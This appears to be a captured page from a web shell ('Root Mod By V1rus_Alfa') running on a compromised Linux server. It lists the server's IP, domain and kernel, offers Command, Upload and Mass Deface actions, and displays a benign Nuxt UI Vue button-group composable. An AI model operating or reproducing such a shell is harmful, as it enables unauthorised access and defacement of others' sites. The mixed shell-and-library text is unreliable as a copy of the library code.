���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.1
/
@nuxt
/
ui
/
dist
/
runtime
/
composables
/
Viewing: useButtonGroup.js
import { computed, ref, provide, inject, onMounted, onUnmounted, getCurrentInstance } from "vue"; export function useProvideButtonGroup(buttonGroupProps) { const instance = getCurrentInstance(); const groupKey = `group-${instance.uid}`; const state = ref({ children: [], register(child) { this.children.push(child); }, unregister(child) { const index = this.children.indexOf(child); if (index > -1) { this.children.splice(index, 1); } }, ...buttonGroupProps }); provide(groupKey, state); } export function useInjectButtonGroup({ ui, props }) { const instance = getCurrentInstance(); provide("ButtonGroupContextConsumer", true); const isParentPartOfGroup = inject("ButtonGroupContextConsumer", false); if (isParentPartOfGroup) { return { size: computed(() => props.size), rounded: computed(() => ui.value.rounded) }; } let parent = instance.parent; let groupContext; while (parent && !groupContext) { if (parent.type.name === "ButtonGroup") { groupContext = inject(`group-${parent.uid}`); break; } parent = parent.parent; } const positionInGroup = computed(() => groupContext?.value.children.indexOf(instance)); onMounted(() => { groupContext?.value.register(instance); }); onUnmounted(() => { groupContext?.value.unregister(instance); }); return { size: computed(() => { if (!groupContext?.value) return props.size; return groupContext?.value.size ?? ui.value.default.size; }), rounded: computed(() => { if (!groupContext || positionInGroup.value === -1) return ui.value.rounded; if (groupContext.value.children.length === 1) return groupContext.value.ui.rounded; if (positionInGroup.value === 0) return groupContext.value.rounded.start; if (positionInGroup.value === groupContext.value.children.length - 1) return groupContext.value.rounded.end; return "rounded-none"; }) }; }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa